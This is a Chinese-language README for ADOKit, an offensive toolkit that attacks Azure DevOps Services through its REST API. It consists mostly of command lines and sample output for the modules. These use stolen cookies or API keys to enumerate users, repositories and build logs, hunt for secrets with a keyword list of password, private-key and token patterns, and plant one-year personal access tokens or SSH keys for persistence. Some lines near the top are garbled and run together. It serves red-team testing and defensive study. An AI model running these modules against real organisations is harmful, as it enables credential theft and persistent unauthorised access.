Azure DevOps Services 攻击工具包 - ADOKit 是一款可利用 Azure DevOps Services 的 REST API 对其进行攻击的工具包。用户可以为相应的 Azure DevOps Services 实例指定攻击模块，同时提供有效的凭据（API 密钥或窃取的身份验证 Cookie）。支持的攻击模块包括侦察、权限提升和持久化。ADOKit 采用模块化设计，便于信息安全社区日后添加新模块。
有关 ADOKit 所用技术的完整详情，请参阅 X-Force Red 白皮书。
本仓库的 BHUSA Arsenal 2024 文件夹中包含演示幻灯片和演示内容。
本项目使用了以下第三方库。
| 库 | URL | 许可证 |
|---|---|---|
| Fody | https://github.com/Fody/Fody | MIT 许可证 |
| Newtonsoft.Json | https://github.com/JamesNK/Newtonsoft.Json | MIT 许可证 |
按照以下步骤设置 Visual Studio 以自行编译项目。需要从 NuGet 包管理器安装两个 .NET 库。
https://api.nuget.org/v3/index.jsonInstall-Package Costura.Fody -Version 3.3.3Install-Package Newtonsoft.Json"pw OR pwd OR passwrod OR password OR \"-----BEGIN PGP PRIVATE KEY BLOCK-----\" OR \"-----BEGIN EC PRIVATE KEY-----\" OR \"-----BEGIN DSA PRIVATE KEY-----\" OR \"-----BEGIN OPENSSH PRIVATE KEY-----\" OR \"-----BEGIN RSA PRIVATE KEY-----\" OR ANSIBLE_VAULT OR AWS_ACCESS_KEY_ID OR AWS_SECRET_ACCESS_KEY OR ACCESS_TOKEN OR API_KEY OR Authorization OR db_password"以下是使用 ADOKit 向 Azure DevOps 实例进行身份验证时可供选择的认证方式。
.dev.azure.com 域下的 UserAuthentication cookie。
/credential:UserAuthentication=ABC123.dev.azure.com 域下的 AadAuthentication cookie。
/credential:eyJ0.../credential:apiToken"aud":"https://management.core.windows.net/"）或对 Azure DevOps 资源有效（"aud":"499b84ac-1321-427f-aa17-267ca6975798"）
/credential:eyJ0..下表显示了每个模块所需的权限。
执行身份验证检查，确保组织正在使用 Azure DevOps，并且所提供的凭据有效。
提供 check 模块，以及相关的身份验证信息和 URL。这将输出该组织是否正在使用 Azure DevOps，如果是，则尝试验证所提供的凭据。
ADOKit.exe check /credential:apiKey /url:https://dev.azure.com/organizationName
ADOKit.exe check /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName
C:>ADOKit.exe check /credential:apiKey /url:https://dev.azure.com/YourOrganization
================================================== Module: check Auth Type: API Key Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking if organization provided uses Azure DevOps
[+] SUCCESS: Organization provided exists in Azure DevOps
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
3/28/23 19:33:02 Finished execution of check
### Whoami
#### 用例
> *获取当前用户及其组成员身份*
#### 语法
提供 `whoami` 模块，以及相关的认证信息和 URL。这将输出当前用户及其所有组成员身份。
`ADOKit.exe whoami /credential:apiKey /url:https://dev.azure.com/organizationName`
`ADOKit.exe whoami /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### 示例输出```
C:\>ADOKit.exe whoami /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization
==================================================
Module: whoami
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 11:33:12 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Username | Display Name | UPN
------------------------------------------------------------------------------------------------------------------------------------------------------------
jsmith | John Smith | [email protected]
[*] INFO: Listing group memberships for the current user
Group UPN | Display Name | Description
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[YourOrganization]\Project Collection Test Service Accounts | Project Collection Test Service Accounts | Members of this group should include the service accounts used by the test controllers set up for this project collection.
[TestProject2]\Contributors | Contributors | Members of this group can add, modify, and delete items within the team project.
[MaraudersMap]\Contributors | Contributors | Members of this group can add, modify, and delete items within the team project.
[YourOrganization]\Project Collection Administrators | Project Collection Administrators | Members of this application group can perform all privileged operations on the Team Project Collection.
4/4/23 15:33:19 Finished execution of whoami
使用给定的访问令牌检索组织信息。
为 listorgs 模块提供所需的认证信息。默认情况下，该命令仅列出使用所提供的访问令牌可访问的组织。
/mode:aad 枚举 Azure AD 租户内的 所有 DevOps 组织，无论是否具有直接访问权限。/endpoint:ENDPOINT_NAME 指定自定义 AEX 端点。
aex.dev.azure.com 的 "X-VSS-DeploymentAffinity" cookie 来识别其他端点。ADOKit.exe listorgs /credential:"eyj0..." [/mode:aad] [/endpoint:ENDPOINT_NAME]
ADOKit.exe listorgs /credential:"eyj0..." /mode:aad /endpoint:aexprodeus21
C:>ADOKit.exe listorgs /credential:"eyj0..."
================================================== Module: listorgs Auth Type: Azure Access Token Target URL: https://app.vssps.visualstudio.com
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Organization ID | Organization Name
390a7474-e2f2-4b98-b538-4a547fa9f5e3 | solar-devops
b63b999f-43f2-48c5-998d-b31cbf4c2f8e | lunar-devops
### 列表仓库
#### 使用场景
> *发现Azure DevOps实例中正在使用的仓库*
#### 语法
提供`listrepo`模块，以及任何相关的身份验证信息和URL。这将输出仓库名称和URL。
`ADOKit.exe listrepo /credential:apiKey /url:https://dev.azure.com/organizationName`
`ADOKit.exe listrepo /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### 示例输出```
C:\>ADOKit.exe listrepo /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization
==================================================
Module: listrepo
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 3/29/2023 8:41:50 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Name | URL
-----------------------------------------------------------------------------------
TestProject2 | https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2
MaraudersMap | https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap
SomeOtherRepo | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/SomeOtherRepo
AnotherRepo | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/AnotherRepo
ProjectWithMultipleRepos | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/ProjectWithMultipleRepos
TestProject | https://dev.azure.com/YourOrganization/TestProject/_git/TestProject
3/29/23 12:41:53 Finished execution of listrepo
在 Azure DevOps 实例中按仓库名称搜索仓库
提供 searchrepo 模块和在 /search: 命令行参数中提供搜索条件，以及相关的身份验证信息和 URL。这将输出匹配的仓库名称和 URL。
ADOKit.exe searchrepo /credential:apiKey /url:https://dev.azure.com/organizationName /search:cred
ADOKit.exe searchrepo /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:cred
C:>ADOKit.exe searchrepo /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"test"
================================================== Module: searchrepo Auth Type: API Key Search Term: test Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Name | URL
TestProject2 | https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2
TestProject | https://dev.azure.com/YourOrganization/TestProject/_git/TestProject
3/29/23 13:26:59 Finished execution of searchrepo
### 列出项目
#### 使用场景
> *发现 Azure DevOps 实例中正在使用的项目*
#### 语法
提供 `listproject` 模块，以及相关的身份验证信息和 URL。这将输出项目名称、可见性（公共或私有）和 URL。
`ADOKit.exe listproject /credential:apiKey /url:https://dev.azure.com/organizationName`
`ADOKit.exe listproject /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### 示例输出```
C:\>ADOKit.exe listproject /credential:apiKey /url:https://dev.azure.com/YourOrganization
==================================================
Module: listproject
Auth Type: API Key
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 7:44:59 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Name | Visibility | URL
-----------------------------------------------------------------------------------------------------
TestProject2 | private | https://dev.azure.com/YourOrganization/TestProject2
MaraudersMap | private | https://dev.azure.com/YourOrganization/MaraudersMap
ProjectWithMultipleRepos | private | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos
TestProject | private | https://dev.azure.com/YourOrganization/TestProject
4/4/23 11:45:04 Finished execution of listproject
按项目名称在 Azure DevOps 实例中搜索项目
提供 searchproject 模块和 /search: 命令行参数中的搜索条件，以及相关的认证信息和 URL。这将输出匹配的项目名称、可见性（公开或私有）和 URL。
ADOKit.exe searchproject /credential:apiKey /url:https://dev.azure.com/organizationName /search:cred
ADOKit.exe searchproject /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:cred
C:>ADOKit.exe searchproject /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"map"
================================================== Module: searchproject Auth Type: API Key Search Term: map Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Name | Visibility | URL
MaraudersMap | private | https://dev.azure.com/YourOrganization/MaraudersMap
4/4/23 11:45:31 Finished execution of searchproject
### 搜索代码
#### 使用场景
> *在 Azure DevOps 实例中搜索包含给定关键字的代码*
#### 语法
提供 `searchcode` 模块及 `/search:` 命令行参数中的搜索条件，同时提供相关认证信息和 URL。输出结果将显示匹配代码文件的 URL，以及代码中匹配的行。
`ADOKit.exe searchcode /credential:apiKey /url:https://dev.azure.com/organizationName /search:password`
`ADOKit.exe searchcode /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:password`
#### 示例输出```
C:\>ADOKit.exe searchcode /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /search:"password"
==================================================
Module: searchcode
Auth Type: Cookie
Search Term: password
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 3/29/2023 3:22:21 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[>] URL: https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap?path=/Test.cs
|_ Console.WriteLine("PassWord");
|_ this is some text that has a password in it
[>] URL: https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2?path=/Program.cs
|_ Console.WriteLine("PaSsWoRd");
[*] Match count : 3
3/29/23 19:22:22 Finished execution of searchcode
在 Azure DevOps 的仓库中搜索文件名包含给定关键字的文件
在 /search: 命令行参数中提供 searchfile 模块和搜索条件，以及相关的认证信息和 URL。这将输出匹配文件在其对应仓库中的 URL。
ADOKit.exe searchfile /credential:apiKey /url:https://dev.azure.com/organizationName /search:azure-pipeline
ADOKit.exe searchfile /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:azure-pipeline
C:>ADOKit.exe searchfile /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /search:"test"
================================================== Module: searchfile Auth Type: Cookie Search Term: test Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
File URL
https://dev.azure.com/YourOrganization/MaraudersMap/_git/4f159a8e-5425-4cb5-8d98-31e8ac86c4fa?path=/Test.cs https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/c1ba578c-1ce1-46ab-8827-f245f54934e9?path=/Test.cs https://dev.azure.com/YourOrganization/TestProject/_git/fbcf0d6d-3973-4565-b641-3b1b897cfa86?path=/test.cs
3/29/23 15:28:37 Finished execution of searchfile
### 凭据搜索
#### 使用场景
> *在 Azure DevOps 中搜索包含密码或 API 密钥等机密的代码*
#### 语法
提供 `creds` 模块，以及相关的认证信息和 URL。这将输出匹配文件在其各自仓库中的 URL，以及存在凭据的匹配行。
`ADOKit.exe creds /credential:apiKey /url:https://dev.azure.com/organizationName`
`ADOKit.exe creds /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### 示例输出```
C:\>ADOKit.exe creds /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization
==================================================
Module: creds
Auth Type: Cookie
Search Term: pw OR pwd OR passwrod OR password OR \"-----BEGIN PGP PRIVATE KEY BLOCK-----\" OR \"-----BEGIN EC PRIVATE KEY-----\" OR \"-----BEGIN DSA PRIVATE KEY-----\" OR \"-----BEGIN OPENSSH PRIVATE KEY-----\" OR \"-----BEGIN RSA PRIVATE KEY-----\" OR ANSIBLE_VAULT OR AWS_ACCESS_KEY_ID OR AWS_SECRET_ACCESS_KEY OR ACCESS_TOKEN OR API_KEY OR Authorization OR db_password
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 3/30/2023 10:17:49 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[>] URL: https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap?path=/Test.cs
|_ Console.WriteLine("PassWord");
|_ this is some text that has a password in it
[>] URL: https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap?path=/Test.cs
|_ API_KEY=ABC123
[>] URL: https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2?path=/Program.cs
|_ Console.WriteLine("PaSsWoRd");
[>] URL: https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/AnotherRepo?path=/config.yaml
|_ Password: ItIsSuperSecret!
[*] Match count : 5
3/30/23 14:17:54 Finished execution of creds
下载所有管道运行（构建日志）的日志。然后你可以离线搜索信息和/或密钥。
提供 getbuildlogs 模块以及给定项目的 /project: 参数，即可下载该项目的所有构建日志。如果你想下载所有项目的日志，请在 /project: 参数中指定 all。这将在当前工作目录中创建一个名为 ADOKit-[随机8字符] 的文件夹，用于存放下载的日志。
ADOKit.exe getbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"
ADOKit.exe getbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"
ADOKit.exe getbuildlogs /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/organizationName /project:"someProject"
ADOKit.exe getbuildlogs /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/organizationName /project:"all"
C:>ADOKit.exe getbuildlogs /credential:apiKey /url:https://dev.azure.com/YourOrganization /project:TestProject2
================================================== Module: getbuildlogs Auth Type: API Key Project: TestProject2 Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Downloading build logs to: C:\path\ADOKit-MWPsicSZ
[+] SUCCESS: Build log files downloaded to: C:\path\ADOKit-MWPsicSZ
### 列出构建日志
#### 使用场景
> *列出指定项目或所有项目的可用构建日志。*
#### 语法
提供 `listbuildlogs` 模块及指定的 `/project:` 参数，可列出该项目的所有构建日志。如需列出所有项目的构建日志，请在 `/project:` 参数中指定 `all`。
`ADOKit.exe listbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"`
`ADOKit.exe listbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"`
`ADOKit.exe listbuildlogs /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/organizationName /project:"someProject"`
`ADOKit.exe listbuildlogs /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/organizationName /project:"all"`
#### 示例输出```
C:\>ADOKit.exe listbuildlogs /credential:apiKey /url:https://dev.azure.com/YourOrganization /project:TestProject2
==================================================
Module: listbuildlogs
Auth Type: API Key
Project: TestProject2
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 5/31/2024 8:14:57 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Build ID | Build Name | Num Logs | URL
-------------------------------------------------------------------------------------------------------------
94 | TestProject2 | 10 | https://dev.azure.com/YourOrganization/8f555d6f-88d2-414a-a9e9-55b1aef12173/_apis/build/Builds/94
92 | TestProject2 | 10 | https://dev.azure.com/YourOrganization/8f555d6f-88d2-414a-a9e9-55b1aef12173/_apis/build/Builds/92
64 | TestProject2 | 10 | https://dev.azure.com/YourOrganization/8f555d6f-88d2-414a-a9e9-55b1aef12173/_apis/build/Builds/64
在Azure DevOps实例中搜索包含指定关键字的构建日志
提供 searchbuildlogs 模块，并在 /search: 命令行参数中指定搜索条件，同时通过 /project: 参数指定项目，以搜索该项目的所有构建日志。如果要搜索所有项目的构建日志，请在 /project: 参数中指定 all。输出将包含匹配的构建输出日志文件的 URL，以及构建日志中匹配的行。
ADOKit.exe searchbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"projName" /search:"password"
ADOKit.exe searchbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all" /search:"password"
ADOKit.exe searchbuildlogs /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"projName" /search:"password"
ADOKit.exe searchbuildlogs /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all" /search:"password"
C:>ADOKit.exe searchbuildlogs /credential:apiKey /url:https://dev.azure.com/YourOrganization /project:MaraudersMap /search:"password"
================================================== Module: searchbuildlogs Auth Type: API Key Search Term: password Project: MaraudersMap Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Searching build logs
[>] URL: https://dev.azure.com/YourOrganization/ee8c003f-94e1-40a7-8d97-0192dcf1b87a/_apis/build/builds/95/logs/1 [>] Project: MaraudersMap |_ python blah.py $(secret-password-here)
[>] URL: https://dev.azure.com/YourOrganization/ee8c003f-94e1-40a7-8d97-0192dcf1b87a/_apis/build/builds/95/logs/7 [>] Project: MaraudersMap |_ 2023-04-21T14:36:48.8967630Z Downloading secret value for: secret-password-here.
[>] URL: https://dev.azure.com/YourOrganization/ee8c003f-94e1-40a7-8d97-0192dcf1b87a/_apis/build/builds/95/logs/8 [>] Project: MaraudersMap |_ 2023-04-21T14:36:50.1585893Z Password1
-----------SNIP-----------
[*] Match count : 9
### 创建 PAT
#### 使用场景
> *为用户创建个人访问令牌 (PAT)，可用于持久化访问 Azure DevOps 实例。*
#### 语法
提供 `createpat` 模块，以及相关的认证信息和 URL。这将输出所创建 PAT 的 ID、名称、作用域、有效期至日期以及令牌内容。创建的 PAT 名称将以 `ADOKit-` 开头，后接 8 个随机字符。PAT 的有效期至日期为创建日期起一年，这是 Azure DevOps 允许的最长期限。
`ADOKit.exe createpat /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### 示例输出```
C:\>ADOKit.exe createpat /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization
==================================================
Module: createpat
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 3/31/2023 2:33:09 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
PAT ID | Name | Scope | Valid Until | Token Value
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
8776252f-9e03-48ea-a85c-f880cc830898 | ADOKit-rJxzpZwZ | app_token | 3/31/2024 12:00:00 AM | tokenValueWouldBeHere
3/31/23 18:33:10 Finished execution of createpat
列出 Azure DevOps 实例中给定用户的所有个人访问令牌 (PAT)。
提供 listpat 模块，以及相关的认证信息和 URL。这将输出用户所有活跃 PAT 的 PAT ID、名称、作用域和有效截止日期。
ADOKit.exe listpat /credential:apiKey /url:https://dev.azure.com/organizationName
ADOKit.exe listpat /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName
C:>ADOKit.exe listpat /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization
================================================== Module: listpat Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
PAT ID | Name | Scope | Valid Until
9b354668-4424-4505-a35f-d0989034da18 | test-token | app_token | 4/29/2023 1:20:45 PM
8776252f-9e03-48ea-a85c-f880cc830898 | ADOKit-rJxzpZwZ | app_token | 3/31/2024 12:00:00 AM
3/31/23 18:33:18 Finished execution of listpat
### Remove PAT
#### 使用场景
> *移除指定用户在 Azure DevOps 实例中的 PAT。*
#### 语法
提供 `removepat` 模块以及相关的身份验证信息和 URL。此外，在 `/id:` 参数中提供 PAT 的 ID。这将输出 PAT 是否被移除，然后会在执行移除后列出用户当前处于活动状态的 PAT。
`ADOKit.exe removepat /credential:apiKey /url:https://dev.azure.com/organizationName /id:000-000-0000...`
`ADOKit.exe removepat /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /id:000-000-0000...`
#### 示例输出```
C:\>ADOKit.exe removepat /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /id:0b20ac58-fc65-4b66-91fe-4ff909df7298
==================================================
Module: removepat
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/3/2023 11:04:59 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[+] SUCCESS: PAT with ID 0b20ac58-fc65-4b66-91fe-4ff909df7298 was removed successfully.
PAT ID | Name | Scope | Valid Until
-------------------------------------------------------------------------------------------------------------------------------------------
9b354668-4424-4505-a35f-d0989034da18 | test-token | app_token | 4/29/2023 1:20:45 PM
4/3/23 15:05:00 Finished execution of removepat
为用户创建 SSH 密钥，可用于持久化访问 Azure DevOps 实例。
提供 createsshkey 模块，以及相关认证信息和 URL。此外，在 /sshkey: 参数中提供您的公钥。这将输出所创建 SSH 密钥的 ID、名称、作用域、有效期以及公钥的最后 20 个字符。创建的 SSH 密钥名称为 ADOKit- 后跟 8 个随机字符。SSH 密钥的有效期自创建之日起为 1 年，这是 Azure DevOps 允许的最大期限。
ADOKit.exe createsshkey /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /sshkey:"ssh-rsa ABC123"
C:>ADOKit.exe createsshkey /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /sshkey:"ssh-rsa ABC123"
================================================== Module: createsshkey Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
SSH Key ID | Name | Scope | Valid Until | Public SSH Key
fbde9f3e-bbe3-4442-befb-c2ddeab75c58 | ADOKit-iCBfYfFR | app_token | 4/3/2024 12:00:00 AM | ...hOLNYMk5LkbLRMG36RE=
4/3/23 18:51:24 Finished execution of createsshkey
### 列出 SSH 密钥
#### 使用场景
> *列出 Azure DevOps 实例中指定用户的所有公共 SSH 密钥。*
#### 语法
提供 `listsshkey` 模块以及任何相关的身份验证信息和 URL。这将输出用户所有活动 SSH 密钥的 SSH 密钥 ID、名称、作用域和有效期。此外，它还会打印公共 SSH 密钥的最后 20 个字符。
`ADOKit.exe listsshkey /credential:apiKey /url:https://dev.azure.com/organizationName`
`ADOKit.exe listsshkey /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### 示例输出```
C:\>ADOKit.exe listsshkey /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization
==================================================
Module: listsshkey
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/3/2023 11:37:10 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
SSH Key ID | Name | Scope | Valid Until | Public SSH Key
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------
ec056907-9370-4aab-b78c-d642d551eb98 | test-ssh-key | app_token | 4/3/2024 3:13:58 PM | ...nDoYAPisc/pEFArVVV0=
4/3/23 15:37:11 Finished execution of listsshkey
删除给定用户在 Azure DevOps 实例中的 SSH 密钥。
提供 removesshkey 模块，以及任何相关的身份验证信息和 URL。此外，在 /id: 参数中提供 SSH 密钥的 ID。这将输出 SSH 密钥是否已被删除，然后在执行删除后列出用户当前的活跃 SSH 密钥。
ADOKit.exe removesshkey /credential:apiKey /url:https://dev.azure.com/organizationName /id:000-000-0000...
ADOKit.exe removesshkey /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /id:000-000-0000...
C:>ADOKit.exe removesshkey /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /id:a199c036-d7ed-4848-aae8-2397470aff97
================================================== Module: removesshkey Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[+] SUCCESS: SSH key with ID a199c036-d7ed-4848-aae8-2397470aff97 was removed successfully.
SSH Key ID | Name | Scope | Valid Until | Public SSH Key
ec056907-9370-4aab-b78c-d642d551eb98 | test-ssh-key | app_token | 4/3/2024 3:13:58 PM | ...nDoYAPisc/pEFArVVV0=
4/3/23 17:50:09 Finished execution of removesshkey
### 列出用户
#### 使用场景
> *列出 Azure DevOps 实例中的用户*
#### 语法
提供 `listuser` 模块，以及相关的身份验证信息和 URL。这将输出用户名、显示名称和用户主体名称。
`ADOKit.exe listuser /credential:apiKey /url:https://dev.azure.com/organizationName`
`ADOKit.exe listuser /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### 示例输出```
C:\>ADOKit.exe listuser /credential:apiKey /url:https://dev.azure.com/YourOrganization
==================================================
Module: listuser
Auth Type: API Key
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/3/2023 4:12:07 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Username | Display Name | UPN
------------------------------------------------------------------------------------------------------------------------------------------------------------
user1 | User 1 | [email protected]
jsmith | John Smith | [email protected]
rsmith | Ron Smith | [email protected]
user2 | User 2 | [email protected]
4/3/23 20:12:08 Finished execution of listuser
在 Azure DevOps 实例中搜索指定用户
在 /search: 命令行参数中提供 searchuser 模块和搜索条件，同时包含相关的身份验证信息和 URL。这将输出匹配的用户名、显示名称和用户主体名称。
ADOKit.exe searchuser /credential:apiKey /url:https://dev.azure.com/organizationName /search:user
ADOKit.exe searchuser /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:user
C:>ADOKit.exe searchuser /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"user"
================================================== Module: searchuser Auth Type: API Key Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Username | Display Name | UPN
user1 | User 1 | [email protected]
user2 | User 2 | [email protected]
4/3/23 20:12:24 Finished execution of searchuser
### 列出团队
#### 用例
> *列出 Azure DevOps 实例中的团队*
#### 语法
提供 `listteam` 模块以及任何相关的身份验证信息和 URL。这将输出团队名称、项目名称和团队描述。
`ADOKit.exe listteam /credential:apiKey /url:https://dev.azure.com/organizationName`
`ADOKit.exe listteam /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### 示例输出```
C:\>ADOKit.exe listteam /credential:apiKey /url:https://dev.azure.com/YourOrganization
==================================================
Module: listteam
Auth Type: API Key
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 5/31/2024 9:48:26 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Team Name | Project | Description
----------------------------------------------------------------------------------------------------------------------------------------
ProjectWithMultipleRepos Team | ProjectWithMultipleRepos | The default project team.
MaraudersMap Team | MaraudersMap | The default project team.
TestProject2 Team | TestProject2 | The default project team.
TestProject Team | TestProject | The default project team.
在 Azure DevOps 实例中搜索特定团队
在命令行参数 /search: 中提供 searchteam 模块和搜索条件，同时提供相关的身份验证信息和 URL。这将输出团队名称、项目名称和团队描述。
ADOKit.exe searchteam /credential:apiKey /url:https://dev.azure.com/organizationName /search:someTeam
ADOKit.exe searchteam /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:someTeam
C:>ADOKit.exe searchteam /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:test
================================================== Module: searchteam Auth Type: API Key Search Term: test Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Team Name | Project | Description
TestProject2 Team | TestProject2 | The default project team.
TestProject Team | TestProject | The default project team.
### 获取团队成员
#### 使用场景
> *获取指定团队的成员*
#### 语法
在 `/search:` 命令行参数中提供 `getteammembers` 模块和搜索条件，以及相关的身份验证信息和URL。这将输出团队名称、团队成员用户名和团队成员显示名称。
`ADOKit.exe getteammembers /credential:apiKey /url:https://dev.azure.com/organizationName /search:someTeam`
`ADOKit.exe getteammembers /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:someTeam`
#### 示例输出```
C:\source\ADOKit-main\ADOKit\bin\Release>ADOKit.exe getteammembers /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"dev team"
==================================================
Module: getteammembers
Auth Type: API Key
Search Term: dev team
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 5/31/2024 10:45:11 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Team Name | Username | User Display Name
-------------------------------------------------------------------------------------------------------------------------------------------------------
Dev Team | [email protected] | User 1
Dev Team | [email protected] | user3
Dev Team | [email protected] | user4
列出 Azure DevOps 实例中的组
提供 listgroup 模块以及任何相关的身份验证信息和 URL。这将输出用户主体名称、显示名称和组描述。
ADOKit.exe listgroup /credential:apiKey /url:https://dev.azure.com/organizationName
ADOKit.exe listgroup /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName
C:>ADOKit.exe listgroup /credential:apiKey /url:https://dev.azure.com/YourOrganization
================================================== Module: listgroup Auth Type: API Key Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
UPN | Display Name | Description
[TestProject]\Contributors | Contributors | Members of this group can add, modify, and delete items within the team project.
[TestProject2]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
